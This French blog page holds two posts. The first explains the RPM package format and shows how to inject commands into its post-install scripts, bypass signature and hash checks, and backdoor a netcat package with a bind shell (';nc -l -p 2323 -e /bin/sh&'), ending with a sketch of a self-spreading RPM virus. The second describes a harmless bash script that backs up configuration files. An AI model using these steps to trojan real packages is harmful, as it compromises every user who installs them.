Nicolas SURRIBAS

Développement / Réseau / Sécurité Informatique

linux

Attaques sur le format RPM

Rédigé par devloop - -

Introduction
Les applications Open Source ont une bonne réputation en termes de sécurité et de respect de la vie privée car tout le monde peut jeter un coup d'oeil au code et détecter une éventuelle faille ou système espion. Cela a par exemple permis de détecter rapidement la présence d'une backdoor dans Wordpress avant que trop de dégats soient causés.
Mais afin que les utilisateurs puissent installer rapidement et sans connaissances en programmation des logiciels sous Linux, divers formats d'archivage ont été créé comme le format rpm et le format deb.
Les fichiers rpm, que l'on peut comparer aux installeurs sous Windows, sont couremment utilisés par les débutants comme les plus confirmés. C'est aussi un format utilisé pour distribuer des applications closed-source comme Opera.
C'est pour cela que j'ai décidé de jeter un coup d'oeil au format RPM pour essayer de trouver en angle d'attaque.

Le format RPM : un format casse-bonbon
J'avais regardé une première fois les spécifications il y a quelques temps, histoire d'avoir un apperçu du format RPM. Mais le document qui me servait de référence n'était pas à jour.
En fait même si la structure générale n'a pas évolué, des valeurs ayant une signification bien définie (les "tags" que nous verront plus tard) continuent à être ajoutés au format.

Un fichier RPM peut être divisé en 4 parties :
  • L'entête définissant l'archive RPM elle-même
  • Une section de signatures permettant de vérifier l'intégrité de l'archive RPM
  • Une section définissant les fichiers une fois désarchivés
  • Les fichiers, compactés au format cpio et compressés avec gzip

Les documents qui m'ont aidé à comprendre ce format sont les suivants :
Linux Standard Base Specification 1.3 : Package File Format
Linux Standard Base Core Specification 3.1 : Package File Format
Maximum RPM : RPM File Format
Fedora Project : RPM Package File Structure

Le "lead" (ou rpmlead) est la première section du fichier. Il donne des informations sur la version du format RPM utilisé, l'architecture et le système d'exploitation auxquels sontdestinés les exécutables etc
struct rpmlead {
    unsigned char magic[4];
    unsigned char major, minor;
    short type;
    short archnum;
    char name[66];
    short osnum;
    short signature_type;
    char reserved[16];
} ;

Il faut noter que ce lead ce termine par 16 octets non-utilisés car réservés pour une éventuelle utilisation future.
Ce que l'on retiendra pour cette section est que sa taille est de 96 octets.

La seconde et la troisième partie d'un fichier RPM (signatures et headers) sont construites sur le même modèle.
Cela commence par un entête qui indique le nombre d'éléments présents dans la section ainsi que la taille globale des données de cette section. Cet entête fait 16 octets et est le suivant :
struct rpmheader {
    unsigned char magic[4];
    unsigned char reserved[4];
    int nindex;
    int hsize;
} ;

Le "magic" qui sert à identifier le début de la section est fixé à trois octets dont la valeur est "\x8e\xad\xe8". Un quatrième octet permet de spécifier le numéro de version de la structure.
Le "nindex" donne le nombre d'entrées présentes dans la section et le "hsize" la somme de la taille des entrées (plus explicitement la somme du contenu de chaque entrée).
En effet après ce header on a deux sections dans cette structure : les descripteurs des entrées et les entrées elles-même. Les descripteurs sont regroupés. Viennent ensuite les données plaçées les unes après les autres.
Une section ressemblera par exemple à ça :


Les "index record", représentés ici en vert, sont les descripteurs dont nous avons parlé. Leur taille est de 16 octets chacun, leur structure est la suivante :
struct rpmhdrindex {
    int tag;
    int type;
    int offset;
    int count;
} ;

Le "tag" sert a définir l'utilité (l'identité) de l'entrée. Chaque valeur du tag a sa signification et on peut trouver des tableaux de correspondance dans les documents que j'ai cité. Selon que l'on soit dans la section Signature ou la section Header, ces valeurs n'auront pas la même signification.
Le type définie le contenu de l'entrée, s'il s'agit d'un entier de 32 bits, d'une chaine de caractères, d'un tableau de chaines etc.
Viennent ensuite l'offset (adresse) définissant le placement en octets où se trouve le contenu de l'entrée ainsi que "count" qui correspond à la taille de l'entrée en octets.
Si ces deux variables sont présentes c'est que, comme le montre l'image, les entrées ne sont par forcément dans le bon ordre. De plus du "padding" (de l'espace vide) peut être présent entre deux entrées.
Notez aussi que l'offset correspond à l'adresse relative au début des entrées. Ainsi dans mon image, l'offset de l'index numéro 2 sera 0.

La quatrième et dernière section correspond aux fichiers contenus dans l'archive, regroupés au format cpio et compressés avec gzip. Ces données étant difficilement accessibles (il faut passer par une décompression pour y accèder) nous ne nous y intéresserons pas. De plus cela sorterait quelque peu du format RPM.

Tagging
On va plutôt fouiller du côté des tags de la troisième section (Header).
La liste des tags listés sur le document de Fedora est divisée en plusieurs catégories :
  • Header entry tag identifiers : ce sont les tags renseignants sur la logiciel, son nom, sa licence, sa catégorie logicielle, sa description...
  • Installation tags : décrivent quelques opérations doivent être effectuées et comment après installation et/ou avant la désinstallation.
  • File information tags : décrit les droits, les propriétaires, les sommes MD5, les dates de modification... de chaque fichier.
  • Dependency tags : donne la liste des logiciels nécessaires au bon fonctionnement du présent logiciel


Les tags d'information sont assez sensibles. On pourait par exemple faire en sorte qu'un fichier soit world-writeable (écrasable par tous) ou qu'un exécutable ait le bit setuid root. Mais cette possibilité n'est pas assez générale et risque d'être trop dépendante du logiciel.

Scripts d'installation
Nous allons plutôt nous pencher sur les tags servant à préparer/finaliser l'installation ou la désinstallation d'un RPM.
Les fichiers RPM peuvent spécifier deux séries de commandes qui seront respectivement installées après l'installation et avant la désinstallation. Ces scripts sont présents dans la section Header (ce sont des "index record") et sont donc accessibles en clair dans le fichier.

Les tags concernant les scripts de pre/post-install sont les suivant :
  • 1023 = RPMTAG_PREIN : script de pré-installation
  • 1024 = RPMTAG_POSTIN : script de post-installation
  • 1025 = RPMTAG_PREUN : script de pré-désinstallation
  • 1026 = RPMTAG_POSTUN : script de post-désinstallation
  • 1085 = RPMTAG_PREINPROG : interpréteur utilisé pour le script de pré-installation
  • 1086 = RPMTAG_POSTINPROG : interpréteur utilisé pour le script de post-installation
  • 1087 = RPMTAG_PREUNPROG : interpréteur utilisé pour le script de pré-désinstallation
  • 1088 = RPMTAG_POSTUNPROG : interpréteur utilisé pour le script de post-désinstallation

Pour effectuer mes tests j'ai utilisé le RPM du logiciel Netcat, le couteau suisse réseau.
On peut facilement vérifier la présence de ces scripts dans le RPM avec la commande suivante :
rpm -q --scripts -p netcat-0.7.1-1.i386.rpm
attention: netcat-0.7.1-1.i386.rpm: Entête V3 DSA signature: NOKEY, key ID b2d79fc1
postinstall scriptlet (using /bin/sh):
/sbin/install-info /usr/share/info/netcat.info.gz /usr/share/info/dir
preuninstall scriptlet (using /bin/sh):
if [ "$1" = 0 ]; then
    /sbin/install-info --delete /usr/share/info/netcat.info.gz /usr/share/info/dir
fi

Ici seulement deux scripts sont présents (post-installation et pré-désinstallation) et /bin/sh est l'interpréteur utilisé.

Let's go !
Si vous désirez étudier la structure d'un fichier RPM je vous conseille d'utiliser le programme Hachoir qui a une bele interface ncurses (ou wxWidgets) pour décortiquer chaque section.
Par contre sous Hachoir les "magics" sont nommés "signatures" et les tags ne sont pas distingués selon que l'on se trouve dans la 2ième ou la 3ième section (ce que peut porter à confusion).
Les moins équipés peuvent utiliser un GHex2, un KHexEdit... ou un hexdump.

Pour les modifications nous allons utiliser un éditeur hexa quelconque (ghex2 pour moi).
On ouvre le fichier, on retrouve les scripts et on les remplace par nos commandes. Il faut prendre soin de ne pas dépasser la taille allouée pour chacun des scripts (un octet null sépare les deux scripts).
On final j'ai les deux scipts suivants (complétés par des espaces en fin de chaine) :
echo postinstall;touch /tmp/postinstall
echo preuninstall;touch /tmp/preuninstall

Je tente une installation (une mise à jour chez moi car netcat est déjà présent), et là c'est le drame :
# rpm -Uvh netcat-0.7.1-1.i386.rpm
erreur: netcat-0.7.1-1.i386.rpm: Entête V3 DSA signature: BAD, key ID b2d79fc1
erreur: netcat-0.7.1-1.i386.rpm ne peut être installé

La section Signatures fait des siennes !! On retrouve dans la doc le numéro de tag correspondant à RPMSIGTAG_DSA : 267

Le format des signatures est décrit dans la RFC 2440 : OpenPGP Message Format.
Mais nous n'avons ni le temps ni l'envie de nous occuper de cette signature DSA... surtout qu'elle est marquée comme optionnelle dans la spécification RPM !
Nous retrouvons facilement notre entrée dans le fichier RPM (267 = 0x10B) :


On passe le 10B en 20B et on réessaye :
erreur: netcat-0.7.1-1.i386.rpm: Hachage de l'entête SHA1: BAD
Expected(d7c18efe6738936c307e957412af73f644e343cc) != (e533a19829c98b3a42d1692aec1b2f5dee17fe32)
erreur: netcat-0.7.1-1.i386.rpm ne peut être installé

:(
Après une nouvelle modification, cette fois du tag RPMSIGTAG_SHA1 (269 = 0x10D), on fait un nouvel essai :
rpm -Uvh netcat-0.7.1-1.i386.rpm
Préparation...              ########################################### [100%]
   1:netcat                 ########################################### [100%]
postinstall

Bingo !!
# ls -l /tmp/postinstall
-rw-r--r-- 1 root root 0 mai  8 18:59 /tmp/postinstall

g0tr00t ?
Et si je remet la version pécédente de netcat avec YaST, le fichier /tmp/preuninstall est créé.

Infecteur de RPM
Pour le plaisir j'ai développé un programme en Python qui infecte un payload (avec un petit 'p', à ne pas confondre avec le Payload du fichier RPM) et le place à la suite du script de post-installation (le payload doit commencer par le caractère ';').
Les étapes réalisés par ce programme sont :
  1. Ouvrir le fichier RPM
  2. Passer 104 octets (les 96 octets du lead + 8 premiers octets du Signature Header)
  3. Lire le nombre d'éléments dans la section Signature
  4. Lire la taille du "store" de la Signature (somme totale de la taille des éléments)
  5. Lire tous les rpmhdrindex de la Signature
  6. Repérer celui correspondant à RPMSIGTAG_SIZE (1000) qui spécifie la taille que doit faire le Header + Payload
  7. Repérer celui correspondant à RPMSIGTAG_MD5 (1004) qui spécifie le hash MD5 128 bits du Header + Payload
  8. Réécrire la table des rpmhdrindex en bypassant les signatures qui nous embêtent
  9. Réécrire la valeur RPMSIGTAG_SIZE en y ajoutant size(payload)
  10. Lire l'entête de la section Header, en extraire le nombre d'élément et la taille de son "store"
  11. Récupérer l'offset quand le tag est RPMTAG_POSTIN
  12. Ajouter size(payload) à l'offset de toutes les entrées situées après celle correspondant à notre script de post-install
  13. Augmenter la taille du store de Header de size(payload)
  14. Insérer notre payload
  15. Recalculer md5(Header + Payload) et remplacer la valeur dans la section Signature


Le code est ici : RPM Infector

On est reparti :
# python rpminfector.py
######################
Payload size is 28
Found 7 items in the Signature
Signature store size is 216
Rewriting signature headers
Length of header + payload is 123472
New size is 123500
Found 61 items in header
Store size is 4208
Post-Installation is at offset 642
Calculating new headers
Fixing store size to 4236
Injecting payload
Fixing md5sum to 59bb0a37045eb4e956ec893553cac173
Injection done !

# rpm -Uvvh netcat-0.7.1-1.i386.rpm
D: ============== netcat-0.7.1-1.i386.rpm
D: Taille attendue:       123940 = tête(96)+sigs(344)+pad(0)+données(123500)
D: Taille actuelle:       123940
(...)
########################################### [100%]
(...)
D:   install: %post(netcat-0.7.1-1.i386) asynchronous scriptlet start
D:   install: %post(netcat-0.7.1-1.i386)        execv(/bin/sh) pid 6732
+ /sbin/install-info /usr/share/info/netcat.info.gz /usr/share/info/dir
+ touch /tmp/stuckhereagain
(...)

:)
On obtient une très belle backdoor (dans le cas du RPM de netcat) si on fixe le payload à ";nc -l -p 2323 -e /bin/sh&".

Il doit être possible de faire un virus RPM, en injectant l'injecteur lui-même (après quelques retouches) et en fixant l'interpréteur à python. En utilisant le champ réservé vu au tout début de l'article on pourrait aussi marquer les RPM déjà infectés.

Un script de sauvegarde de vos fichiers de configuration sous Linux

Rédigé par devloop - -

Quoi de plus agréable quand on change de distribution d'avoir à disposition ses fichiers de configuration précieusement conservés ?
Quand on passe du temps à paufiner la configuration du serveur d'affichage ou de son éditeur de texte préféré, l'idée de perdre ces fameux fichiers donne des sueurs froides.

Seulement lorsque l'on souhaite faire une sauvegarde de ces fichiers on doit tout faire à la main et surtout on a toujours tendance à en oublier quelques uns .
Cette pour cetre raison que j'ai bricolé un petit script Bash qui rassemble vos fichiers de conf et en fait un belle archive tar.bz2 prête à être copiée à l'abris des crashs.
Vous pouvez télécharger le script en question ici : saveconfig.sh
Ce script est très facilement personnalisable. Il se divise en deux sections : la première contient les commandes (le script à proprement parler) et la seconde partie est une liste de fichiers à sauvegarder.
Vous pouvez aussi bien ajouter des noms de fichiers que de répertoires. Dans tous les cas il faut donner le chemin complet à partir de la racine (/).
Si vous indiquez un répertoire, tout son contenu sera copié... donc réflechissez bien à ce que vous rajoutez ! Il est peut-être préférable de donner des noms de fichiers appartenant à un même répertoire plutôt que de donner le répertoire entier (je pense en particulier aux répertoires cachées utilisés par les navigateurs et qui contiennent le cache de votre navigation).

Lancé en utilisateur lambda, saveconfig.sh enregistre les fichiers de configuration du système (dans /etc, /usr...).
Lancé en root, le script va en plus enregistrer la configuration de chaque utilisateur "humain" (dont l'uid est supérieur ou égal à 500)
Les fichiers de configuration des utilisateurs doivent être indiqués à l'aide du mot clé _USER_ qui sera remplacé lors de l'utilisation du script par le répertoire home de cet utilisateur (rien de bien compliqué, vous comprendrez facilement en regardant la liste des fichiers par défaut).

Petite note : saveconfig.sh ne garde pas en mémoire les permissions des fichiers... mais c'est facilement modifiable en modifiant les arguments passés à tar et cp.
Le script a besoin de bash, awk, tar et bzip2 pour fonctionner.

Télécharger saveconfig.sh

Classé dans : Non classé - Mots clés : outils, linux